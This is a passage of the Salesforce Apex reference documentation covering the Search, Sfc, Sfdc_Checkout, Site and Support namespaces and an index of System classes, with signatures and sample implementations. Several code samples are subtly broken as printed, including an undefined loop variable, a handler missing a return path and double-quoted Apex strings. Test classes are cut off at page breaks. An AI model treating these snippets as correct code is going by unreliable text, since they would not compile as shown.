Dynamic SOSL

**SearchResults Class**
Wraps the results returned by the Search.find(String) method.

**Namespace**
Search

**SearchResults Methods**
The following are methods for SearchResults.

**IN THIS SECTION:**
get(sObjectType)

**get(sObjectType)**
Returns a list of Search.SearchResult objects that contain an sObject of the specified type.

**Signature**
```
public List<Search.SearchResult> get(String sObjectType)
```

**Parameters**

sObjectType
Type: String
The name of an sObject in the dynamic SOSL query passed to the Search.find(String) method.

**Return Value**
Type: List<Search.SearchResult>
Usage

SOSL queries passed to the `Search.find(String)` method can return results for multiple objects. For example, the query `Search.find('FIND 'map' IN ALL FIELDS RETURNING Account, Contact, Opportunity')` includes results for 3 objects. You can call `get(string)` to retrieve search results for 1 object at a time. For example, to get results for the Account object, call `Search.SearchResults.get('Account')`.

SEE ALSO:

- `find(searchQuery)`
- SearchResult Methods
- Dynamic SOSL

SuggestionOption Class

Options that narrow record and article suggestion results returned from a call to `System.Search.suggest(String, String, Search.SuggestionOption)`.

Namespace

Search

SuggestionOption Methods

The following are methods for `SuggestionOption`.

IN THIS SECTION:

- `setFilter(knowledgeSuggestionFilter)`
  - Set filters that narrow Salesforce Knowledge article results in a call to `System.Search.suggest(String, String, Search.SuggestionOption)`.
- `setLimit(limit)`
  - The maximum number of record or article suggestions to retrieve.

`setFilter(knowledgeSuggestionFilter)`

Set filters that narrow Salesforce Knowledge article results in a call to `System.Search.suggest(String, String, Search.SuggestionOption)`.

Signature

```java
public void setFilter(Search.KnowledgeSuggestionFilter knowledgeSuggestionFilter)
```

Parameters

- `knowledgeSuggestionFilter`
  - Type: `KnowledgeSuggestionFilter`
  - An object containing filters that narrow the search results.
Return Value
Type: void

Usage
```
Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();
filters.setLanguage('en_US');
filters.setPublishStatus('Online');
filters.setChannel('app');

Search.SuggestionOption options = new Search.SuggestionOption();
options.setFilter(filters);

Search.SuggestionResults suggestionResults = Search.suggest('all', 'KnowledgeArticleVersion',
options);

for (Search.SuggestionResult searchResult : suggestionResults.getSuggestionResults()) {
    KnowledgeArticleVersion article = (KnowledgeArticleVersion)result.getSObject();
    System.debug(article.title);
}
```

### setLimit(limit)
The maximum number of record or article suggestions to retrieve.

Signature
```
public void setLimit(Integer limit)
```

Parameters
```
limit
  Type: Integer
  The maximum number of record or article suggestions to retrieve.
```

Return Value
Type: void

Usage
By default, the `System.Search.suggest(String, String, Search.SuggestionOption)` method returns the 5 most relevant results. However, if your query is broad, it could match more than 5 results. If `Search.SuggestionResults.hasMoreResults()` returns `true`, there are more than 5 results. To retrieve them, call `setLimit(Integer)` to increase the number of suggestions results.

```
Search.SuggestionOption option = new Search.SuggestionOption();
option.setLimit(10);
Search.suggest('my query', 'mySObjectType', option);
```
SuggestionResult Class
A wrapper object that contains an sObject.

Namespace
Search

SuggestionResult Methods
The following are methods for SuggestionResult.

IN THIS SECTION:
getSObject()
Returns the sObject from a SuggestionResult object.

getSObject()
Returns the sObject from a SuggestionResult object.

Signature
public SObject getSObject()

Return Value
Type: SObject

SuggestionResults Class
Wraps the results returned by the Search.suggest(String, String, Search.SuggestionOption) method.

Namespace
Search

SuggestionResults Methods
The following are methods for SuggestionResults.

IN THIS SECTION:
getSuggestionResults()
Returns a list of SuggestionResult objects from the response to a call to Search.suggest(String, String, Search.SuggestionOption).

hasMoreResults()
Indicates whether a call to System.Search.suggest(String, String, Search.SuggestionOption) has more results available than were returned.
**getSuggestionResults()**

Returns a list of SuggestionResult objects from the response to a call to `Search.suggest(String, String, Search.SuggestionOption)`.

**Signature**

```java
public List<Search.SuggestionResult> getSuggestionResults()
```

**Return Value**

Type: `List<SuggestionResult>`

**hasMoreResults()**

Indicates whether a call to `System.Search.suggest(String, String, Search.SuggestionOption)` has more results available than were returned.

**Signature**

```java
public Boolean hasMoreResults()
```

**Return Value**

Type: `Boolean`

**Usage**

If a limit isn't specified, 5 records are returned in calls to `System.Search.suggest(String, String, Search.SuggestionOption)`. If there are more suggested records than the limit specified, a call to `hasMoreResults()` returns `true`.

---

**Sfc Namespace**

The Sfc namespace contains classes used in Salesforce Files.

The following are the classes in the `Sfc` namespace.

**IN THIS SECTION:**

- **ContentDownloadContext Enum**
  
  This enum specifies the download context.

- **ContentDownloadHandler Class**
  
  Use `ContentDownloadHandler` to define a custom download handler that controls how content is downloaded.

- **ContentDownloadHandlerFactory Interface**
  
  Use this interface to provide a class factory that Salesforce can call to create instances of your custom `ContentDownloadHandler`.

---

**ContentDownloadContext Enum**

This enum specifies the download context.
Enum Values

The following are the values of the Sfc.ContentDownloadContext enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CHATTER</td>
<td>Download from Chatter.</td>
</tr>
<tr>
<td>CONTENT</td>
<td>Default value. Downloads from the Salesforce CRM Content product.</td>
</tr>
<tr>
<td>DELIVERY</td>
<td>Download of a content delivery.</td>
</tr>
<tr>
<td>MOBILE</td>
<td>Download from a mobile device.</td>
</tr>
<tr>
<td>REST_API</td>
<td>Download from the Connect API (/connect/files/${fileId}/content endpoint).</td>
</tr>
<tr>
<td>RETRIEVE</td>
<td>Retrieve VersionData from SObject API.</td>
</tr>
<tr>
<td>S1</td>
<td>Download from Salesforce mobile.</td>
</tr>
<tr>
<td>SOQL</td>
<td>Select VersionData from SOQL.</td>
</tr>
</tbody>
</table>

ContentDownloadHandler Class

Use ContentDownloadHandler to define a custom download handler that controls how content is downloaded.

Namespace

Sfc on page 2964

IN THIS SECTION:

ContentDownloadHandler Properties

ContentDownloadHandler Properties

The following are properties for ContentDownloadHandler.

IN THIS SECTION:

downloadErrorMessage
A customized error message explaining why the download isn’t allowed.

isDownloadAllowed
Indicates whether or not download is allowed.

redirectUrl
The URL the user should be redirected to, for applying Information Rights Management (IRM) control, virus scanning, or other behavior.

downloadErrorMessage
A customized error message explaining why the download isn’t allowed.
Signature

public String downloadErrorMessage {get; set;}

Property Value
Type: String

This message is used if a redirectUrl is not provided. If the download is not allowed, Salesforce will throw a 
ContentCustomizedDownloadException exception that contains the downloadErrorMessage.

isDownloadAllowed
Indicates whether or not download is allowed.

Signature

public Boolean isDownloadAllowed {get; set;}

Property Value
Type: Boolean

redirectUrl
The URL the user should be redirected to, for applying Information Rights Management (IRM) control, virus scanning, or other behavior.

Signature

public String redirectUrl {get; set;}

Property Value
Type: String

The URL must be a valid relative URL. For example, the redirect can be a custom Visualforce page such as “/apex/IRMControl”. URLs with no path, such as “www.domain.com”, will result in an InvalidParameterValueException.

ContentDownloadHandlerFactory Interface

Use this interface to provide a class factory that Salesforce can call to create instances of your custom ContentDownloadHandler.

Namespace

Sfc on page 2964

Usage

ContentDownloadHandler getContentDownloadHandler(List<ID> ids, ContentDownloadContext context);

IN THIS SECTION:
  ContentDownloadHandlerFactory Methods
ContentDownloadHandlerFactory Example Implementation

ContentDownloadHandlerFactory Methods
The following are methods for ContentDownloadHandlerFactory.

IN THIS SECTION:
  getContentDownloadHandler(var1, var2)
  Returns a ContentDownloadHandler for a given list of content IDs and a download context.

getContentDownloadHandler(var1, var2)
Returns a ContentDownloadHandler for a given list of content IDs and a download context.

Signature
public Sfc.ContentDownloadHandler getContentDownloadHandler(List<Id> var1, Sfc.ContentDownloadContext var2)

Parameters
var1
  Type: List<Id>

var2
  Type: Sfc.ContentDownloadContext on page 2964

Return Value
Type: Sfc.ContentDownloadHandler on page 2965

ContentDownloadHandlerFactory Example Implementation
This example creates a class that implements the Sfc.ContentDownloadHandlerFactory interface and returns a download handler that blocks downloading content to mobile devices.

```java
// Allow customization of the content Download experience
public class ContentDownloadHandlerFactoryImpl implements Sfc.ContentDownloadHandlerFactory
{

    public Sfc.ContentDownloadHandler getContentDownloadHandler(List<ID> ids, Sfc.ContentDownloadContext context) {
        Sfc.ContentDownloadHandler contentDownloadHandler = new Sfc.ContentDownloadHandler();

        if(context == Sfc.ContentDownloadContext.MOBILE) {
            contentDownloadHandler.isDownloadAllowed = false;
            contentDownloadHandler.downloadErrorMessage = "Downloading a file from a mobile device is not allowed.";
            return contentDownloadHandler;
        }
    }
}
```

2967
Sfdc_Checkout Namespace

The Sfdc_Checkout namespace provides an interface and classes for Lightning B2B Commerce apps in Salesforce.

The following are the classes in the Sfdc_Checkout namespace.

IN THIS SECTION:

AsyncCartProcessor Interface
Use this interface to implement asynchronous integrations in Lightning B2B Commerce.

B2BCheckoutController Class
Communicate with simple checkout Apex methods to work with data related to B2B Commerce checkout. Currently, the only data obtained is for Delivery Methods.

IntegrationInfo Class
Provides the values that Lightning B2B Commerce Checkout uses to map requests to responses, necessary metadata, and context.

IntegrationStatus Class
Supports synchronous execution of Apex integrations for Lightning B2B Commerce. The implementation must return the status of the execution.

IntegrationStatus.Status Enum
The IntegrationStatus.Status enum describes the status of the current integration.

AsyncCartProcessor Interface
Use this interface to implement asynchronous integrations in Lightning B2B Commerce.

Namespace
Sfdc_Checkout

IN THIS SECTION:

AsyncCartProcessor Methods
The following are methods for AsyncCartProcessor.

IN THIS SECTION:

startCartProcessAsync(integrationInfo, cartId)
The startCartProcessAsync method is called asynchronously by the integration framework. Calling this method begins cart processing for Commerce checkout.
**startCartProcessAsync(integrationInfo, cartId)**

The `startCartProcessAsync` method is called asynchronously by the integration framework. Calling this method begins cart processing for Commerce checkout.

**Signature**

```java
public sfdc_checkout.IntegrationStatus startCartProcessAsync(sfdc_checkout.IntegrationInfo integrationInfo, Id cartId)
```

**Parameters**

- `integrationInfo`
  - Type: `IntegrationInfo`
  - Provides values that B2B Commerce checkout APIs use to map requests to responses, necessary metadata, and context.

- `cartId`
  - Type: `Id`
  - ID of the WebCart object.

**Return Value**

- Type: `IntegrationStatus`
- Status of the current integration. Possible values are `SUCCESS` and `FAILED`.

**AsyncCartProcessor Example Implementation**

This is an example implementation of the `sfdc_checkout.AsyncCartProcessor` interface.

```java
global interface checkout_AsyncCartProcessor {

    //Integration for async processing
    IntegrationStatus startCartProcessAsync(
        IntegrationInfo integrationInfo,
        Id cartId);

}
```

AsyncCartProcessor is a base interface. There are four interfaces that extend it, including `CartInventoryValidation`, `CartPriceCalculations`, `CartShippingCharges`, and `CartTaxCalculations`. For more information about these interfaces, including code examples and test classes, see Checkout Integrations.

**B2BCheckoutController Class**

Communicate with simple checkout Apex methods to work with data related to B2B Commerce checkout. Currently, the only data obtained is for Delivery Methods.

**Namespace**

`sfdc_checkout`
Usage

You must specify the `sfdc_checkout` namespace when creating an instance of this class.

IN THIS SECTION:

B2BCheckoutController Methods

B2BCheckoutController Methods

The following are methods for B2BCheckoutController.

IN THIS SECTION:

getDeliveryMethods(activeOrCartId)

Get a list of delivery methods for the provided cartId and the associated cost that are obtained from an external shipping gateway.

**getDeliveryMethods (activeOrCartId)**

Get a list of delivery methods for the provided cartId and the associated cost that are obtained from an external shipping gateway.

**Signature**

```java
public static List<Map<String,ANY>> getDeliveryMethods(String activeOrCartId)
```

**Parameters**

**activeOrCartId**

Type: `String`

The current `webCartId` for which a list of delivery methods is needed.

**Return Value**

Type: `List<Map<String,ANY>>`

The `getDeliveryMethods` method returns a list of delivery methods. Each delivery method is a map of key-value pairs. We receive the following keys for each delivery method:

- **carrier**: The name of the shipping carrier. Examples: Fedex and UPS
- **name**: The label of the delivery method. Examples: Ground Shipping and Air Shipping
- **deliveryMethodId**: The unique Id for the deliveryMethod. Example: 2Dmx000004C92CAF
- **shippingFee**: The cost of the delivery method as provided by the shipping gateway.
- **currencyIsoCode**: The currency in which the cost is calculated. Examples: USD and EUR

IntegrationInfo Class

Provides the values that Lightning B2B Commerce Checkout uses to map requests to responses, necessary metadata, and context.

Namespace

`sfdc_checkout` on page 2968
Usage
This class provides information about a Lightning B2B Commerce integration. An instance of this class is passed as a parameter into the integration interface.

IN THIS SECTION:
IntegrationInfo Properties

IntegrationInfo Properties
The following are properties for IntegrationInfo.

IN THIS SECTION:
integrationId
jobId

integrationId
The unique ID of a Lightning B2B Commerce integration.

Signature
public String integrationId {get; set;}

Property Value
Type: String

jobId
The ID of the job, specific to the Salesforce Background Operation framework.

Signature
public String jobId {get; set;}

Property Value
Type: String

IntegrationStatus Class
Supports synchronous execution of Apex integrations for Lightning B2B Commerce. The implementation must return the status of the execution.
Namespace

sfdc_checkout on page 2968

Usage

You must specify the sfdc_checkout namespace when creating an instance of this class.

IN THIS SECTION:

IntegrationStatus Properties

IntegrationStatus Properties

The following are properties for IntegrationStatus.

IN THIS SECTION:

status

Indicates the status of the integration process and whether or not it completed successfully.

status

Indicates the status of the integration process and whether or not it completed successfully.

Signature

public sfdc_checkout.IntegrationStatus.Status status {get; set;}

Property Value

Type: sfdc_checkout.IntegrationStatus.Status on page 2972

IntegrationStatus.Status Enum

The IntegrationStatus.Status enum describes the status of the current integration.

Enum Values

The following are the values of the sfdc_checkout.IntegrationStatus.Status enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FAILED</td>
<td>Indicates transient, unknown error, managed by the implementor. The buyer can retry this action.</td>
</tr>
<tr>
<td>SUCCESS</td>
<td>Indicates the integration executed successfully.</td>
</tr>
</tbody>
</table>
Site Namespace

The Site namespace provides an interface for rewriting Sites URLs.

The following is the interface in the Site namespace.

IN THIS SECTION:

UrlRewriter Interface
Enables rewriting Sites URLs.

Site Exceptions
The Site namespace contains an exception class.

UrlRewriter Interface

Enables rewriting Sites URLs.

Namespace
Site

Usage
Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index your site pages.

For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN

To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your site.

UrlRewriter Methods

The following are methods for UrlRewriter. All are instance methods.

IN THIS SECTION:

generateUrlFor(salesforceUrls)
Maps a list of Salesforce URLs to a list of user-friendly URLs.

mapRequestUrl(userFriendlyUrl)
Maps a user-friendly URL to a Salesforce URL.

generateUrlFor(salesforceUrls)
Maps a list of Salesforce URLs to a list of user-friendly URLs.
Signature

```java
public System.PageReference[] generateUrlFor(System.PageReference[] salesforceUrls)
```

Parameters

`salesforceUrls`  
Type: `System.PageReference[]`

Return Value  
Type: `System.PageReference[]`

Usage

You can use `List<PageReference>` instead of `PageReference[]`, if you prefer.

**Important:** The size and order of the input list of Salesforce URLs must exactly correspond to the size and order of the generated list of user-friendly URLs. The `generateUrlFor` method maps input URLs to output URLs based on the order in the lists.

**mapRequestUrl(userFriendlyUrl)**

Maps a user-friendly URL to a Salesforce URL.

Signature

```java
public System.PageReference mapRequestUrl(System.PageReference userFriendlyUrl)
```

Parameters

`userFriendlyUrl`  
Type: `System.PageReference`

Return Value  
Type: `System.PageReference`

**Site Exceptions**

The `Site` namespace contains an exception class.

All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In Exceptions.

The `Site` namespace contains this exception:

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
<th>Methods</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Site.ExternalUserCreateException</code></td>
<td>Unable to create external user</td>
<td>Use the <code>String getMessage()</code> to get the error message and write it to debug log.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Use <code>List&lt;String&gt; getDisplayMessages()</code> to get a list of errors displayed to the end user.</td>
</tr>
</tbody>
</table>
**Support Namespace**

The `Support` namespace provides an interface used for Case Feed.

The following is the interface in the `Support` namespace.

IN THIS SECTION:
- **EmailTemplateSelector Interface**
  - The `Support.EmailTemplateSelector` interface enables providing default email templates in Case Feed. With default email templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.
- **MilestoneTriggerTimeCalculator Interface**
  - The `Support.MilestoneTriggerTimeCalculator` interface calculates the time trigger for a milestone.

**EmailTemplateSelector Interface**

The `Support.EmailTemplateSelector` interface enables providing default email templates in Case Feed. With default email templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.

**Namespace**

`Support`

To specify default templates, you must create a class that implements `Support.EmailTemplateSelector`.

When you implement this interface, provide an empty parameterless constructor.

IN THIS SECTION:
- **EmailTemplateSelector Methods**
- **EmailTemplateSelector Example Implementation**

**EmailTemplateSelector Methods**

The following are methods for `EmailTemplateSelector`.

IN THIS SECTION:
- `getDefaultTemplateId(caseId)`
  - Returns the ID of the email template to preload for the case currently being viewed in the case feed using the specified case ID.
- `getDefaultTemplateId(caseId)`
  - Returns the ID of the email template to preload for the case currently being viewed in the case feed using the specified case ID.
public ID getDefaultTemplateId(ID caseId)

Parameters

caseId
Type: ID

Return Value
Type: ID

EmailTemplateSelector Example Implementation

This is an example implementation of the Support.EmailTemplateSelector interface. The getDefaultEmailTemplateId method implementation retrieves the subject and description of the case corresponding to the specified case ID. Next, it selects an email template based on the case subject and returns the email template ID.

global class MyCaseTemplateChooser implements Support.EmailTemplateSelector {
    // Empty constructor
    global MyCaseTemplateChooser() {}

    // The main interface method
    global ID getDefaultEmailTemplateId(ID caseId) {
        // Select the case we're interested in, choosing any fields that are relevant to our decision
        Case c = [SELECT Subject, Description FROM Case WHERE Id=:caseId];

        EmailTemplate et;

        if (c.subject.contains('LX-1150')) {
            et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
        } else if(c.subject.contains('LX-1220')) {
            et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
        }

        // Return the ID of the template selected
        return et.id;
    }
}

The following example tests the above code:

@isTest
private class MyCaseTemplateChooserTest {

    static testMethod void testChooseTemplate() {

        MyCaseTemplateChooser chooser = new MyCaseTemplateChooser();

        // Create a simulated case to test with
        Case c = new Case();
        c.Subject = 'I\'m having trouble with my LX-1150';
Database.insert(c);

// Make sure the proper template is chosen for this subject
Id actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
EmailTemplate expectedTemplate =
    [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
Id expectedTemplateId = expectedTemplate.Id;
System.assertEquals(actualTemplateId, expectedTemplateId);

// Change the case properties to match a different template
c.Subject = 'My LX1220 is overheating';
Database.update(c);

// Make sure the correct template is chosen in this case
actualTemplateId = chooser.getDefaultEmailTemplateId(c.Id);
expectedTemplate =
    [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1220_template'];
expectedTemplateId = expectedTemplate.Id;
System.assertEquals(actualTemplateId, expectedTemplateId);

MilestoneTriggerTimeCalculator Interface

The Support.MilestoneTriggerTimeCalculator interface calculates the time trigger for a milestone.

Namespace

Support

Implement the Support.MilestoneTriggerTimeCalculator interface to calculate a dynamic time trigger for a milestone based on the milestone type, the properties of the case, and case-related objects. To implement the Support.MilestoneTriggerTimeCalculator interface, you must first declare a class with the implements keyword as follows:

    global class Employee implements Support.MilestoneTriggerTimeCalculator {

Next, your class must provide an implementation for the following method:

    global Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)

The implemented method must be declared as global or public.

IN THIS SECTION:

    MilestoneTriggerTimeCalculator Methods
    MilestoneTriggerTimeCalculator Example Implementation

MilestoneTriggerTimeCalculator Methods

The following are instance methods for MilestoneTriggerTimeCalculator.
calculateMilestoneTriggerTime(caseId, milestoneTypeId)
Calculates the milestone trigger time based on the specified case and milestone type and returns the time in minutes.

Syntax
public Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId)

Parameters

 caseId
  Type: String
  ID of the case the milestone is applied to.

 milestoneTypeId
  Type: String
  ID of the milestone type.

Return Value
Type: Integer
The calculated trigger time in minutes.

MilestoneTriggerTimeCalculator Example Implementation
This sample class demonstrates the implementation of the Support.MilestoneTriggerTimeCalculator interface. In this sample, the case’s priority and the milestone m1 determine that the time trigger is 18 minutes.

global class myMilestoneTimeCalculator implements Support.MilestoneTriggerTimeCalculator {
    global Integer calculateMilestoneTriggerTime(String caseId, String milestoneTypeId) {
        Case c = [SELECT Priority FROM Case WHERE Id=:caseId];
        MilestoneType mt = [SELECT Name FROM MilestoneType WHERE Id=:milestoneTypeId];
        if (c.Priority != null && c.Priority.equals('High')){
            if (mt.Name != null && mt.Name.equals('m1')) { return 7; }
            else { return 5; }
        }
        else {
            return 18;
        }
    }
}

This test class can be used to test the implementation of Support.MilestoneTriggerTimeCalculator.

@isTest
private class MilestoneTimeCalculatorTest {

static testMethod void testMilestoneTimeCalculator() {
    // Select an existing milestone type to test with
    MilestoneType[] mtLst = [SELECT Id, Name FROM MilestoneType LIMIT 1];
    if(mtLst.size() == 0) { return; }
    MilestoneType mt = mtLst[0];

    // Create case data.
    // Typically, the milestone type is related to the case,
    // but for simplicity, the case is created separately for this test.
    Case c = new Case(priority = 'High');
    insert c;

    myMilestoneTimeCalculator calculator = new myMilestoneTimeCalculator();
    Integer actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);

    if(mt.name != null && mt.Name.equals('m1')) {
        System.assertEquals(actualTriggerTime, 7);
    } else {
        System.assertEquals(actualTriggerTime, 5);
    }

    c.priority = 'Low';
    update c;
    actualTriggerTime = calculator.calculateMilestoneTriggerTime(c.Id, mt.Id);
    System.assertEquals(actualTriggerTime, 18);
}

System Namespace

The System namespace provides classes and methods for core Apex functionality.
The following are the classes in the System namespace.

IN THIS SECTION:

- **AccessType Enum**
  Specifies the access check type for the fields of an sObject.

- **Address Class**
  Contains methods for accessing the component fields of address compound fields.

- **Answers Class**
  Represents zone answers.

- **ApexPages Class**
  Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page.

- **Approval Class**
  Contains methods for processing approval requests and setting approval-process locks and unlocks on records.
Blob Class
Contains methods for the Blob primitive data type.

Boolean Class
Contains methods for the Boolean primitive data type.

BusinessHours Class
Use the BusinessHours methods to set the business hours at which your customer support team operates.

Callable Interface
Enables developers to use a common interface to build loosely coupled integrations between Apex classes or triggers, even for code in separate packages. Agreeing upon a common interface enables developers from different companies or different departments to build upon one another’s solutions. Implement this interface to enable the broader community, which might have different solutions than the ones you had in mind, to extend your code’s functionality.

Cases Class
Use the Cases class to interact with case records.

Comparable Interface
Adds sorting support for Lists that contain non-primitive types, that is, Lists of user-defined types.

Continuation Class
Use the Continuation class to make callouts asynchronously to a SOAP or REST Web service.

Cookie Class
The Cookie class lets you access cookies for your Salesforce site using Apex.

Crypto Class
Provides methods for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information.

Custom Metadata Type Methods
Custom metadata types are customizable, deployable, packageable, and upgradeable application metadata. All custom metadata is exposed in the application cache, which allows access without repeated queries to the database. The metadata is then available for formula fields, validation rules, flows, Apex, and SOAP API. All methods are static.

Custom Settings Methods
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data is then available for formula fields, validation rules, flows, Apex, and the SOAP API.

Database Class
Contains methods for creating and manipulating data.

Date Class
Contains methods for the Date primitive data type.

Datetime Class
Contains methods for the Datetime primitive data type.

Decimal Class
Contains methods for the Decimal primitive data type.

Double Class
Contains methods for the Double primitive data type.

EncodingUtil Class
Use the methods in the EncodingUtil class to encode and decode URL strings, and convert strings to hexadecimal format.
Enum Methods
An enum is an abstract data type with values that each take on exactly one of a finite set of identifiers that you specify. Apex provides built-in enums, such as `LoggingLevel`, and you can define your own enum.

EventBus Class
Contains methods for publishing platform events.

Exception Class and Built-In Exceptions
An exception denotes an error that disrupts the normal flow of code execution. You can use Apex built-in exceptions or create custom exceptions. All exceptions have common methods.

FlexQueue Class
Contains methods that reorder batch jobs in the Apex flex queue.

FeatureManagement Class
Use the methods in the `System.FeatureManagement` class to check and modify the values of feature parameters, and to show or hide custom objects and custom permissions in your subscribers' orgs.

Formula Class
Contains the `recalculateFormulas` method that updates (recalculates) all formula fields on the input SObjects.

FormulaRecalcFieldError Class
The return type of the `FormulaRecalcResult.getErrors` method.

FormulaRecalcResult Class
The return type of the `Formula.recalculateFormulas` method.

Http Class
Use the `Http` class to initiate an HTTP request and response.

HttpCalloutMock Interface
Enables sending fake responses when testing HTTP callouts.

HttpRequest Class
Use the `HttpRequest` class to programmatically create HTTP requests like GET, POST, PATCH, PUT, and DELETE.

HttpResponse Class
Use the `HttpResponse` class to handle the HTTP response returned by the `Http` class.

Id Class
Contains methods for the ID primitive data type.

Ideas Class
Represents zone ideas.

InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.

Integer Class
Contains methods for the Integer primitive data type.

JSON Class
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the `serialize` method in this class.

JSONGenerator Class
Contains methods used to serialize objects into JSON content using the standard JSON encoding.
JSONParser Class
Represents a parser for JSON-encoded content.

JSONToken Enum
Contains all token values used for parsing JSON content.

Limits Class
Contains methods that return limit information for specific resources.

List Class
Contains methods for the List collection type.

Location Class
Contains methods for accessing the component fields of geolocation compound fields.

Long Class
Contains methods for the Long primitive data type.

Map Class
Contains methods for the Map collection type.

Matcher Class
Matchers use Patterns to perform match operations on a character string.

Math Class
Contains methods for mathematical operations.

Messaging Class
Contains messaging methods used when sending a single or mass email.

MultiStaticResourceCalloutMock Class
Utility class used to specify a fake response using multiple resources for testing HTTP callouts.

Network Class
Represents an Experience Cloud site.

OrgLimit Class
Contains methods that provide the name, maximum value, and current value of an org limit.

OrgLimits Class
Contains methods that provide a list or map of all OrgLimit instances for Salesforce your org, such as SOAP API requests, Bulk API requests, and Streaming API limits.

PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query parameter names and values.

Packaging Class
Contains a method for obtaining information about managed and unlocked packages.

Pattern Class
Represents a compiled representation of a regular expression.

Queueable Interface
Enables the asynchronous execution of Apex jobs that can be monitored.

QueueableContext Interface
Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains the job ID. This interface is implemented internally by Apex.
QuickAction Class
Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects that are available globally.

Quiddity Enum
Specifies a Quiddity value used by the methods in the System.Request class

RemoteObjectController
Use RemoteObjectController to access the standard Visualforce Remote Objects operations in your Remote Objects override methods.

Request Class
Contains methods to obtain the request ID and Quiddity value of the current Salesforce request.

ResetPasswordResult Class
Represents the result of a password reset.

RestContext Class
Contains the RestRequest and RestResponse objects.

RestRequest Class
Use the System.RestRequest class to access and pass request data in a RESTful Apex method.

RestResponse Class
Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.

SandboxPostCopy Interface
To make your sandbox environment business ready, automate data manipulation or business logic tasks. Extend this interface and add methods to perform post-copy tasks, then specify the class during sandbox creation.

Schedulable Interface
The class that implements this interface can be scheduled to run at different intervals.

SchedulableContext Interface
Represents the parameter type of a method in a class that implements the Schedulable interface and contains the scheduled job ID. This interface is implemented internally by Apex.

Schema Class
Contains methods for obtaining schema describe information.

Search Class
Use the methods of the Search class to perform dynamic SOSL queries.

Security Class
Contains methods to securely implement Apex applications.

SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or selectRadio component.

Set Class
Represents a collection of unique elements with no duplicate values.

Site Class
Use the Site Class to manage your Salesforce Sites.

SObject Class
Contains methods for the sObject data type.
SOBJECTAccessDecision Class
Contains the results of a call to the Security.stripInaccessible method and methods to retrieve those results.

StaticResourceCalloutMock Class
Utility class used to specify a fake response for testing HTTP callouts.

String Class
Contains methods for the String primitive data type.

StubProvider Interface
StubProvider is a callback interface that you can use as part of the Apex stub API to implement a mocking framework. Use this interface with the Test.createStub() method to create stubbed Apex objects for testing.

System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.

Test Class
Contains methods related to Apex tests.

Time Class
Contains methods for the Time primitive data type.

TimeZone Class
Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone ID, offset, and display name.

Trigger Class
Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records that the trigger operates on.

TriggerOperation Enum
System.TriggerOperation enum values are associated with trigger events.

Type Class
Contains methods for getting the Apex type that corresponds to an Apex class and for instantiating new types.

UninstallHandler Interface
Enables custom code to run after a managed package is uninstalled.

URL Class
Represents a uniform resource locator (URL) and provides access to parts of the URL. Enables access to the Salesforce instance URL.

Userinfo Class
Contains methods for obtaining information about the context user.

UserManagement Class
Contains methods to manage end users, for example, to register their verification methods, verify their identity, or remove their personal information.

Version Class
Use the Version methods to get the version of a first-generation managed package, and to compare package versions.

WebServiceCallout Class
Enables making callouts to SOAP operations on an external Web service. This class is used in the Apex stub class that is auto-generated from a WSDL.

WebServiceMock Interface
Enables sending fake responses when testing Web service callouts of a class auto-generated from a WSDL.
XmlStreamReader Class
The XmlStreamReader class provides methods for forward, read-only access to XML data. You can pull data from XML or skip unwanted events. You can parse nested XML content that’s up to 50 nodes deep.

XmlStreamWriter Class
The XmlStreamWriter class provides methods for writing XML data.

AccessType Enum
Specifies the access check type for the fields of an sObject.

Usage
Use these enum values for the accessCheckType parameter of the stripInaccessible method.

Enum Values
The following are the values of the System.AccessType enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CREATABLE</td>
<td>Check the fields of an sObject for create access.</td>
</tr>
<tr>
<td>READABLE</td>
<td>Check the fields of an sObject for read access.</td>
</tr>
<tr>
<td>UPDATABLE</td>
<td>Check the fields of an sObject for update access.</td>
</tr>
<tr>
<td>UPSERTABLE</td>
<td>Check the fields of an sObject for insert and update access.</td>
</tr>
</tbody>
</table>

Address Class
Contains methods for accessing the component fields of address compound fields.

Namespace
System

Usage
